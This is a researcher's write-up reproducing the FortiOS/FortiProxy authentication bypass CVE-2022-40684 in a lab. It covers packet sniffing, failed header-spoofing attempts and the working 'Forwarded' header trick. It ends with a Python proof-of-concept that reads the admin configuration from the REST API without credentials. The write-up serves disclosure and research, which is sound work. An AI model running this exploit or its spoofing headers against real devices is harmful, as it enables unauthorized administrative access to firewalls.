Summary An authentication bypass using an alternate path or channel vulnerability [CWE-288] in FortiOS, FortiProxy and FortiSwitchManager may allow an unauthenticated atttacker to perform operations on the administrative interface via specially crafted HTTP or HTTPS requests.
Exploitation Status: Fortinet is aware of an instance where this vulnerability was exploited, and recommends immediately validating your systems against the following indicator of compromise in the device's logs: user="Local_Process_Access" Source: https://www.fortiguard.com/psirt/FG-IR-22-377; https://www.horizon3.ai/fortinet-iocs-cve-2022-40684/
A FortiOS 7.0.6 virtual appliance VM was acquired from the Fortinet portal. This was subsequently deployed into a lab environment where further testing would take place.
Next, based on tweets from researcher Carlos Vieira (https://mobile.twitter.com/carlos_crowsec) and subsequently Horizon3's published IOCs, we decided to enable REST API event logging and review typical events that are occurring.
Sure enough there are events from the "Local_Process_Access" account hitting the REST API.
One of the first things we attempted was running the FortiOS built-in packet capture tool to generate a *.pcap of traffic... This did not work... After capturing multiple *.pcaps, there was never a request hitting the endpoints in the events.
After doing some more research into Fortinet documentation, we identified another packet capture utility on the appliance - the sniffer! Source: https://help.fortinet.com/fa/cli-olh/5-6-1/Document/1600_diagnose/sniffer.htm
After logging into the appliance with putty and exporting logs to a file, the following command was ran:
diagnose sniffer packet root "host 127.0.01" 3 30000
This provided a significant amount of packets for the root interface of the appliance and see some interesting packets:
129.002368 127.0.0.1.3709 -> 127.0.0.1.9980: psh 2905834017 ack 2847284151
0x0000 0000 0000 0000 0000 0000 0000 0800 4500..............E.
0x0010 00e2 725d 0000 4006 09b7 7f00 0001 7f00..r]..@.........
0x0020 0001 0e7d 26fc ad33 8221 a9b6 1bb7 8018...}&..3.!......
0x0030 0003 96bf 0000 0101 080a 0020 2d1c 0020............-...
0x0040 2d1c 504f 5354 202f 6170 692f 7632 2f6d-.POST./api/v2/m
0x0050 6f6e 6974 6f72 2f73 7973 7465 6d2f 6164onitor/system/ad
0x0060 6d69 6e2f 636c 6561 6e2d 7365 7373 696fmin/clean-sessio
0x0070 6e73 2048 5454 502f 312e 310d 0a75 7365ns.HTTP/1.1..use
0x0080 722d 6167 656e 743a 204e 6f64 652e 6a73r-agent:.Node.js
0x0090 0d0a 6163 6365 7074 2d65 6e63 6f64 696e..accept-encodin
0x00a0 673a 2067 7a69 702c 2064 6566 6c61 7465g:.gzip,.deflate
0x00b0 0d0a 486f 7374 3a20 3132 372e 302e 302e..Host:.127.0.0.
0x00c0 313a 3939 3830 0d0a 436f 6e6e 6563 74691:9980..Connecti
0x00d0 6f6e 3a20 636c 6f73 650d 0a43 6f6e 7465on:.close..Conte
0x00e0 6e74 2d4c 656e 6774 683a 2030 0d0a 0d0ant-Length:.0....
These were converted to pcaps and opened inside Wireshark for further inspection.
This looks exactly like what we were seeing in the REST API events and even coincides with a timestamped event! It also differs greatly from other captured packets as there are no authentication cookies present in the request.
We just need to see if we can hit this endpoint externally... I had tried several ways of forwarding the internal IP (I.E. X-Originating-IP: 127.0.0.1 X-Forwarded-For: 127.0.0.1 X-Remote-IP: 127.0.0.1 X-Remote-Addr: 127.0.0.1) Source: https://portswigger.net/bappstore/ae2611da3bbc4687953a1f4ba6a4e04c
None of these worked... However, it doesn't matter because Horizon3 posted their technical deep-dive and PoC. The header they used was a variant of the below:
'Forwarded': 'for="[127.0.01]:9980";by="[127.0.0.1]:9980"',
Source: https://www.horizon3.ai/fortios-fortiproxy-and-fortiswitchmanager-authentication-bypass-technical-deep-dive-cve-2022-40684/, https://github.com/horizon3ai/CVE-2022-40684
My initial PoC can be seen below:
#!/usr/bin/python3
import argparse
import requests
import urllib3
import json
urllib3.disable_warnings()
def exploit(target):
url = f'https://{target}/api/v2/cmdb/system/admin/admin'
headers = {
'Forwarded': 'for="[127.0.0.1]:9980";by="[127.0.0.1]:9980"',
'User-Agent': 'Node.js',
'Accept-Encoding': 'gzip, deflate',
'Connection': 'close',
'Content-Length': '0'
}
r = requests.get(url, headers=headers, verify=False)
r.raise_for_status()
if ( r.status_code != 204 and r.headers["content-type"].strip().startswith("application/json")):
print(json.dumps(r.json()))
else:
print("Response ise empty? Exploit failed?")
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument('-t', '--target', help='The IP address of the target', required=True)
args = parser.parse_args()
exploit(args.target)
We know this is an less elegant or sophisticated process than Horizon3's. To be fair, we had attempted to diff patches and even mounted the *.vmdk's for the virtual appliance - we just couldn't figure out how to fix the corrupted *.tar.gz file errors like Horizon3's research team (and many others). We hope this writeup shows that differing methodologies can lead to the same result.